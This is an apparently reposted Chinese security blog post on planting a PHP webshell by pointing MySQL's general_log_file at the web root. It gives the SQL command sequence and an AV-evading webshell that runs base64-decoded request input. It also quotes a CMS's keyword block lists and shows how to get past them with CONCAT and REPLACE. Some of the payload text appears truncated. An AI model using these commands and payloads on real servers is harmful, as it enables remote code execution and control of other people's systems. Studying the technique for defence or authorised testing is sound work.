0x01 基本原理
在能夠寫SQL語句的地方,outfile、dumpfile、drop database等都被禁止,一般進行SQL注入來getshell或刪庫的方式行不通了。
但是如果MySQL是root用戶啟動的,那么可以進行如下利用:
show variables like '%general%'; #查看配置 set global general_log = on; #開啟general log模式 set global general_log_file = '/var/www/html/1.php'; #設置日志目錄為shell地址 select '' #寫入shell
SQL查詢免殺shell的語句(參考:SQL語句利用日志寫shell):
SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
0x02 Bypass案例
這個案例雖然雞肋,但是思路還可以。
過濾 .php
代碼審計某CMS時,看到一處寫SQL語句的地方,此處之前報過漏洞,修復方案是過濾了outfile、dumpfile、drop database等,此外還過濾了.php字符串,為的就是防住SQL語句日志寫shell:
if(stristr($sql, 'outfile')){ $str = 'ERROR : 檢測到非法字符 “outfile”!'; break; } if(stristr($sql, 'dumpfile')){ $str = 'ERROR : 檢測到非法字符 “dumpfile”!'; break; } if(stristr($sql, '.php')){ $str = 'ERROR : 檢測到非法字符 “.php” !'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = 'ERROR : 不允許刪除數據庫!'; break; }
這里直接寫上述的SQL語句肯定是不行的,因為set global general_log_file = '/var/www/html/1.php';的.php會被過濾掉。
這里只是針對字符串的檢測,可以用字符串拼接的方式Bypass,這里可以使用SQL語句中的concat家族系列函數來實現字符串拼接來Bypass:
show variables like '%general%'; #查看配置 set global general_log = on; #開啟general log模式 set global general_log_file =CONCAT("/var/www/html/1.","php"); select ''; #寫入shell
過濾 .php和concat
在這次報過的漏洞之后,CMS廠商修改了這個洞,就是添加了對concat的字符串過濾,這樣concat家族系列函數就使不上了。
if(stristr($sql, 'outfile')){ $str = 'ERROR : 檢測到非法字符 “outfile”!'; break; } if(stristr($sql, 'dumpfile')){ $str = 'ERROR : 檢測到非法字符 “dumpfile”!'; break; } if(stristr($sql, '.php')){ $str = 'ERROR : 檢測到非法字符 “.php” !'; break; } if(stristr($sql, 'concat')){ $str = 'ERROR : 檢測到非法字符 “concat” !'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = 'ERROR : 不允許刪除數據庫!'; break; }
使用concat進行字符串拼接的方式沒法繞過了,但是除了字符串拼接,我們還能使用字符串替換的操作來繞過:
show variables like '%general%'; #查看配置 set global general_log = on; #開啟general log模式 set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); select ''; #寫入shell
過濾 .php、concat和replace
CMS廠商收到新的繞過漏洞報告后,又進行新一輪的修復,過濾了replace:
if(stristr($sql, 'outfile')){ $str = 'ERROR : 檢測到非法字符 “outfile”!'; break; } if(stristr($sql, 'dumpfile')){ $str = 'ERROR : 檢測到非法字符 “dumpfile”!'; break; } if(stristr($sql, '.php')){ $str = 'ERROR : 檢測到非法字符 “.php” !'; break; } if(stristr($sql, 'concat')){ $str = 'ERROR : 檢測到非法字符 “concat” !'; break; } if(stripos($sql, 'replace')){ $str = 'ERROR : 檢測到非法字符 “replace” !'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = 'ERROR : 不允許刪除數據庫!'; break; }
字符串拼接和替換都不能成功進行利用了,還有啥辦法不?
當然還有新的Bypass方法哈哈。
作者:Mi1k7ea
菜鳥學安全
-
SQL
+關注
關注
1文章
762瀏覽量
44117 -
MySQL
+關注
關注
1文章
804瀏覽量
26531 -
日志
+關注
關注
0文章
138瀏覽量
10639 -
Shell
+關注
關注
1文章
365瀏覽量
23357 -
Bypass
+關注
關注
0文章
7瀏覽量
5615
原文標題:SQL語句利用日志寫shell及相關繞過
文章出處:【微信號:菜鳥學安全,微信公眾號:菜鳥學安全】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論